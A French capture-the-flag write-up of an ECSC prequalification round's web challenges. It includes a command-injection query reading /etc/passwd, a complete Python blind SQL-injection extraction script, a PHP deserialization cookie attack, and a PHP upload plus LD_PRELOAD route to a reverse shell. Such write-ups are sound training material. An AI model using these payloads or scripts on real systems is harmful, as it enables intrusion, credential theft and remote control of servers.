ECSC - Préqualifications - Challenges Web


Sommaire

1/ ECSC

1.1/ Préqualifications

2/ Classement

3/ Write-Up

3.1/ Web

3.1.1/ PHP Sandbox

3.1.2/ Scully(1)

3.1.3/ Scully(2)

3.1.4/ JackTheRipper

3.1.5/ Ceci n’est pas une pipe

ECSC

ecsc

Préqualifications

ecsc_prequals

Classement

Afin d’identifier plus facilement le top 25 par catégorie, j’ai réalisé un petit script pour automatiser cela. Le top 25 junior/senior se retrouveront lors de “Le Hack” le 6 et 7 juillet prochain pour la suite de la sélection française.

lead_junior

lead_senior

lead_HS

lead_global

Write-Up

Pentester, je vais m’attarder sur les challenges Web en particulier, puisque ce sont ceux qui m’ont le plus intéressé lors de cet événement. Les challenges proposés étaient très intéressants et j’ai pu y découvrir quelques tricks de ninja ;D Merci aux organisateurs :)

Liste des challenges proposés :

chall_1

chall_2

chall_3

Web

PHP Sandbox

chall_php_sandbox

On se retrouve face à une application dont la CSS vaut le détour :

chall_php_sandbox_1

On comprend rapidement que l’enjeu ici est de découvrir un paramètre (plusieurs ?) à envoyer à l’application pour obtenir un comportement différent.

Mon premier réflexe pour aborder ce challenge fût de modifier les méthodes HTTP pour détecter d’éventuelles fuites d’informations. L’utilisation des méthodes OPTIONS, TRACE et CONNECT n’ont pas permis d’identifier un comportement différent (oui le rageux du fond, il en existe bien d’autres, mais je considère cet échantillonnage comme suffisant pour tester l’application).

Je me lance donc dans la recherche des paramètres en priorité (à défaut de bruteforcer les répertoires/fichiers potentiellement existant sur l’application). J’utilise donc un outil user-friendly “patator” pour réaliser le bruteforce des paramètres sur les requêtes GET et POST.

chall_php_sandbox_2

chall_php_sandbox_3

On découvre donc l’existence du paramètre args o/.

chall_php_sandbox_4

A présent, il s’agit de pouvoir exécuter du code sur le serveur.. :)

Après plusieurs tests, on détecte rapidement la présence d’une liste de caractères interdits (plutôt rigide). D’après mes tentatives, voici la liste en question :

[],: !*$^()%-+{}@\~“’`°;<>?

Je constate également que changer le type du paramètre args ne semble pas altérer le fonctionnement de l’application, la liste de caractères interdits est identique.

Le caractère espace est également interdit. Pourtant la seule commande a priori autoriser nécessite un tel caractère.

chall_php_sandbox_5

J’ai menti (déso pas déso), le caractère % n’est pas interdit, en réalité l’intégralité des encodages hexadécimales avec un % le sont, à l’exception de %0A lorsqu’il est placé en fin de chaîne uniquement et en un seul exemplaire.

Malheureusement cela ne suffit pas à permettre l’injection de commande. Ce caractère pourtant si dévastateur lors des injections de commandes systèmes ne nous sauvera pas la mise ce coup-ci.

Me vient ensuite l’idée d’analyser le comportement de l’application lorsque je lui soumets plusieurs fois le paramètre args..

# Valide malgré la présence du caractère interdit ':', en effet seul le dernier paramètre est pris en compte.
?args=%0A&args=c:at&args=/etc/passwd

# N'est pas valide lorsqu'on modifie le type de la variable args en tableau !
?args[]=%0A&args[]=c:at&args[]=/etc/passwd

Grâce à cela, on sait à présent qu’il est possible de chaîner les valeurs dans le paramètre args en modifiant le type de ce dernier !

Après avoir longuement cherché pourquoi cela ne fonctionner pas, il suffisait de retirer le caractère %0A qui m’avait tant donné d’espoir pour se conformer à l’instruction ‘cat <file>‘.

chall_php_sandbox_6

A présent, il faut trouver le flag sur le serveur. En observant le code source (depuis le serveur) du fichier index.php, on découvre la présence d’une chaîne encodée en base64 :

chall_php_sandbox_7

Je ne vous fais pas un dessin..

ECSC{ae822cf59d26401b64f20ee9af8fd4cf31da79ab}

Scully (1)

chall_scully_1

Nous sommes face à une interface d’authentification classique. Le nom à peine évocateur semble orienter vers une injection SQL.

chall_scully_2

Un rapide coup d’oeil au contenu HTML nous permet de détecter la requête vers l’API pour s’identifier sur l’application.

chall_scully_3

On dégaine son Burp et c’est parti !

chall_scully_4

Je commence par modifier le type de la variable pour observer une éventuelle fuite d’informations. Le paramètre password est le seul à réagir et m’évoque une fonction “encode”. A priori, le paramètre password semble filtrer (au moins un petit peu) les entrées utilisateurs.

Je me recentre sur le paramètre username.

On y détecte une injection SQL rapidement tant cette dernière est triviale à exploiter (cas d’école) :

chall_scully_5

ECSC{889b71de2017ca8074f49d3f853950e147591b38}

Scully (2)

chall_scully_6

L’application est identique à la précédente, à l’exception de la réaction de cette dernière pour les injections dans le champ username.

chall_scully_7

Nous sommes donc face à une injection SQL à l’aveugle. L’application nous confirme si oui (success) ou non (fail) notre requête en base de données échoue ou est vraie au sens booléen du terme. Pour confirmer cette hypothèse, une requête devant échouer puisque 75 n’est pas égal à 74 :

chall_scully_8

A présent il convient d’identifier le type de base de données. D’après le caractère pour commenter ‘–’ et les différentes réponses de la base de données face à des éléments propres à certaines bases de données, on peut identifier une base SQLite3 derrière cette application.

Pour confirmer, on peut compter le nombre de table dans la base de données :

chall_scully_9

chall_scully_10

Vraissemblement il y a moins d’un million de tables dans la base de données.. Ce qui est vrai :)

Après quelques tests, on détermine qu’il y a deux tables dans la base de données.

A présent, il faut déterminer la table des noms de ces tables. Puis, une fois cette taille connu, on itère sur chaque caractère du nom de la table jusqu’à avoir pu déterminer le nom des tables. “Est-ce que le premier caractère de la première table est un a ? Un b ? Un c ? etc.”

On retrouve donc les tables “players” et “flag”.

Le problème des attaques sur SQLite est la complexité due au manque de documentation sur le sujet et au manque de fonctions/modèles permettant de récupérer toutes les informations intéressantes d’une base de données classique. Ici, on peut lutter pour récupérer (dans notre contexte, une requête SELECT sans affichage du résultat) le nom des colonnes associés aux tables.

En effet, pour afficher ces dernières l’instruction PRAGMA en SQLite3 permet d’obtenir les différents colonnes d’une table.

La technique que j’ai utilisée consiste à récupérer la requête responsable de la création de la table en base.. Et donc des noms des colonnes ;P

On récupère donc grâce à SELECT sql FROM sqlite_master.. la requête SQL désirée :

CREATE TABLE flag(flag TEXT)

CREATE TABLE players(id integer primary key autoincrement, username TEXT, password TEXT)

On peut donc récupérer le flag via SELECT flag FROM flag.

ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0bea}

Par ailleurs, en jetant un oeil à la table players on peut récupérer l’utilisateur admin et le hash SHA-256 associé 6d4d6c784b7c2870c721f18a6e83305260679076ddd6ed79530ef3b4edb29740.

Je n’ai pas pu casser ce dernier pour me connecter à l’application malgré l’application de règles sur le dictionnaire rockyou avec John The Ripper..

:(

En bonus, le script que j’ai utilisé pour automatiser l’extraction des informations en base (il a évolué au fur et à mesure de mes recherches pour ne pas demander 150 fois la même chose). Dirty Little Script, accroche-toi Zeecka, c’est pour toi :

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import sys

proxies = {'http':'127.0.0.1:8080', 'https':'127.0.0.1:8080'}
headers = {'User-Agent':'_ACKNAK_'}
url = 'http://challenges.ecsc-teamfrance.fr:8004/api/v1/login/'

"""
## Iterating over the length of the two tables
table_number = 1
table_length = 1
table_1_length = 1
table_2_length = 1

while table_number < 3:

    params = {"username":"' oR (76=76 anD (SElECT Length(tbl_name) FrOM sqlite_master WHeRE type='table' aNd tbl_name nOT lIke 'sqlite_%' liMit 1 ofFset "+str(table_number-1)+")="+str(table_length)+")--","password":"--"}

    response = requests.post(url, json=params, proxies=proxies).content

    if "success" in response:
        print("Table number %d has a length of %d." % (table_number, table_length))
        if table_number < 3:
            if table_number == 1:
                table_1_length = table_length
            elif table_number == 2:
                table_2_length = table_length
            table_number += 1
            table_length = 1
    else:
        table_length += 1
    
## Iterating over the name of the two tables

result = ''
characters = 'abcdefghijklmnopqrstuvwxyz{}_-+@0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'

for position in range(1, table_1_length+1):
    found = False
    while found is False:
        
        for char in characters:
            if found is False:
                params = {"username":"' oR (76=76 anD (SElECT hEx(Substr(tbl_name,"+str(position)+",1)) FrOM sqlite_master WHeRE type='table' aNd tbl_name nOT lIke 'sqlite_%' liMit 1 ofFset 0)=Hex('"+char+"'))--","password":"--"}
                response = requests.post(url, json=params, proxies=proxies).content
                if "success" in response:
                    result += char
                    found = True

        if found is False:
            print('Charset ain\'t ok')
            sys.exit(1)

print("Found table name: %s" % result)

result = ''

for position in range(1, table_2_length+1):
    found = False
    while found is False:
        
        for char in characters:
            if found is False:
                params = {"username":"' oR (76=76 anD (SElECT hEx(Substr(tbl_name,"+str(position)+",1)) FrOM sqlite_master WHeRE type='table' aNd tbl_name nOT lIke 'sqlite_%' liMit 1 ofFset 1)=Hex('"+char+"'))--","password":"--"}
                response = requests.post(url, json=params, proxies=proxies).content
                if "success" in response:
                    result += char
                    found = True
print("Found table name: %s" % result)
"""


## Grabbing the flag

result = ''
characters = ' ECS{}0123456789abcdefghijklmnopqrstuvwxyz;,:!$[]*`|#~&<>/\\?%ABDFGHIJKLMNOPQRTUVWXYZ\'="()_-+@'
column_length = 46

for position in range(1, column_length+1):
    found = False
    while found is False:
        
        for char in characters:
            if found is False:
                params = {"username":"' oR (76=76 anD (SElECT hEx(Substr(flag,"+str(position)+",1)) FrOM flag liMit 1 ofFset 0)=Hex('"+char+"'))--","password":"--"}
                response = requests.post(url, json=params, proxies=proxies).content
                if "success" in response:
                    result += char
                    print('Current entry is %s' % result)
                    found = True

        if found is False:
            print('Charset ain\'t ok')
            result += '?'
            found = True
print("Found: %s" % result)

JackTheRipper

En parlant de John, on tombe justement sur son frère Jack.

chall_jtr_1
chall_jtr_2

L’application présentée nous offre son code source, c’est plutôt sympa.

Outre le jeu de mot “serial killer”, on remarque dans le code source l’utilisation dangereuse de la méthode unserialize sur le cookie user lorsque ce dernier est présent.

Le code ci-dessous est la reproduction locale (sans les connexions à la base de données) de l’application :

<?php

ini_set('display_errors', 'On');
error_reporting(E_ALL);

class Core {

    public function __construct($debug = False) {
        $this->debug = $debug;
        $this->con = NULL;
        $this->setupDB();
    }


    public function doUserLogin($login, $password) {
        if($this->debug) {
            echo 'Found user record';
        }
        return True;
    }

    /* DB Setup and wakeup call */
    private function setupDB() {
	echo "setupdb\n";
    }

    public function __wakeup() {
	echo "wakeup\n";
        $this->setupDB();
    }
}

class User {
    
    public function __construct() {
        $this->core = new Core();
        $this->username = NULL;
    }
    
    public function login($login, $password) {
        
        $ret = $this->core->doUserLogin($login, $password);
        
        if (!is_null($ret)) {
            $this->username = $ret['login'];
            return true;
            
        } else return false;
    }
}


if(isset($_COOKIE['user'])) $u = unserialize($_COOKIE['user']);
else $u = new User();

var_dump($u);

// A new login?
if(isset($_POST['login'], $_POST['password'])) {

    if($u->login($_POST['login'], $_POST['password'])) {

        setcookie('user', serialize($u));
        presult('Hello '.htmlspecialchars($u->username).', here is your flag: '.file_get_contents('includes/__flag'));

    } else {
        presult('Invalid login/password combination');

    }

}


?>

Ce script en local a pour objectif de debugguer tranquillement dans notre coin les différentes erreurs de désérialisation que l’on pourrait rencontrer et ce au moyen des deux fonctions de gestions des erreurs au début du script :)

Petite explication sur la méthode d’exploitation de cette désérialization :

_ Réaliser une requête avec un cookie user provoque la désérialisation du contenu de ce cookie ;

_ Nous sommes donc censés avoir un objet User, ce dernier possède deux attributs “core” et “username” ;

_ L’attribut “core” est en réalité un objet Core qui possède quant à lui deux attributs “debug” et “con” (connexion à la base de données) ;

_ Lors d’une désérialisation les méthodes magiques __construct ne sont pas appelées à la différence de la méthode __wakeup ;

_ Si le mode debug de l’objet Core est à True alors toute requête POST permettra de vérifier l’existance des utilisateurs en base de données et du mot de passe associé (it’s not a bug, it’s a feature !).

Le code de l’application dans l’object Core pour le debugging est le suivant :

    public function doUserLogin($login, $password) {
        if(is_null($this->con)) return NULL;

        $pLogin = $this->con->escapeString($login);
        $q = $this->con->query("SELECT id, login, password FROM users WHERE login='{$pLogin}'");

        if(!$q) $row = False;
        else $row = $q->fetchArray();

        // num_rows != 1
        if($row===FALSE || $q->fetchArray()!==FALSE) return NULL;

        if($this->debug) {

            echo 'Found user record:';
            var_dump($row);
        }

        return (md5($password)==$row['password']) ? $row : NULL;
    }

Nous avons à présent tous les éléments pour exploiter cette désérialisation.

En encodant le cookie suivant, nous définirons à True l’attribut debug :

chall_jtr_3

Exemple en local :

chall_jtr_4

Ok tout est bon en local, à présent réalisons une requête POST avec le cookie user en demandant (à tout hasard) l’utilisateur admin :

chall_jtr_5

On récupère donc le hash MD5 de l’admin. Le hash est connu des sites tels que haskiller.co.uk, on récupère donc très rapidement le mot de passe associé => mypassword

On se connecte et c’est bon :)

chall_jtr_6

ECSC{3ab6be9c0d274e7eeac6f20f4bee7d8b26303e44}

Ceci n’est pas une pipe

Et c’est bien dommage..

chall_pipe_1

Une interface de login, jouer avec les paramètres n’apportera rien ici..

chall_pipe_2

Je lance en arrière plan les scans de répertoires/fichiers via patator avec une wordlist d’admin, de répertoires (dirbuster) et de fichiers (raft) :

chall_pipe_3

chall_pipe_4

chall_pipe_5

Réappliquer les scans sur les répertoires identifiés n’apportera rien de plus.

Le fichier todo.php est très suspect :

chall_pipe_6

A nouveau, j’utilise patator pour tenter de découvrir des paramètres valides via la méthode GET ou POST sur le fichier todo.php, en vain.

En parallèle, je teste l’application, notamment les méthodes HTTP. Fun fact, on peut leak une ip interne via la méthode CONNECT :)

chall_pipe_7

On a également de l’énumération d’utilisateur possible sur la page d’inscription et on identifie une politique de mot de passe faible (6 caractères), si même l’ANSSI n’applique pas ses recommendations en matière de politique de mot de passe on ne va pas s’en sortir les gars :D

chall_pipe_8

Troll à part, on se crée un compte et on accède à l’application :

chall_pipe_9

On peut donc se créer des notes et téléverser un fichier sur le serveur. D’ailleurs, le chemin pour accéder au fichier une fois envoyé est présent dans le document HTML. On notera au passage la vaine tentative d’injection du contenu HTML.

chall_pipe_10

Après plusieurs tests sur la fonctionnalité d’envoi de fichier, on remarque que le seul contrôle s’effectue sur les “magic numbers” qui permettent d’identifier le type de fichier qui est envoyée (a priori). Ici, l’application n’accepte que les fichiers .png/.jpg/.jpeg de moins de 100KB.

Il est donc parfaitement possible d’insérer du code php à l’intérieur d’une image et de renommer le fichier par une extension .php (pour que le code php s’exécute).

chall_pipe_11

On remarque notamment que de nombreuses fonctions sont désactivées :

chall_pipe_12

Je vous épargne les nombreuses tentatives non fructeuses d’exécution de code php. J’ai notamment tenté de modifier le répertoire d’upload (en altérant ma session) mais des restrictions en place bloquaient ce comportement.

Je me suis ensuite longuement battu avec la payload php reverse shell de pentestmonkey pour essayer de la faire fonctionner avec les restrictions en vigueur (trouver un remplaçant à la fonction proc_open). J’ai longuement songé face à cette payload au nom du challenge.. Pipe everywhere !

chall_pipe_13

Puis j’ai repensé à l’information découverte dans le fichier todo.php. sendmail, implique un serveur SMTP, je confirme sa présence via phpinfo(). Les fonctions putenv et file_put_contents ne sont pas désactivées, il est donc possible de contourner les restrictions en place pour définir une variable LD_PRELOAD afin d’exécuter un script qu’on aura déposé sur le serveur (reverse shell) lors de l’appel à la fonction mail(). En effet, mail() effectue un appel vers le binaire linux sendmail, la variable LD_PRELOAD va donc charger et exécuter le script malveillant.

Un outil automatise parfaitement ce bypass Chankro.

chall_pipe_14

chall_pipe_15

Une payload reverse shell classique se basant sur /dev/tcp.

chall_pipe_16

Nous obtenons donc un reverse shell o/

On identifie un fichier flag dans le dossier /home, ce fichier est un exécutable. Son exécution nous offre le flag :

ECSC{f12d9ff3a017065d4d363cea148bef8bfffacc31}

Merci aux organisateurs et aux créateurs des challenges pour leurs idées et leur énergie :)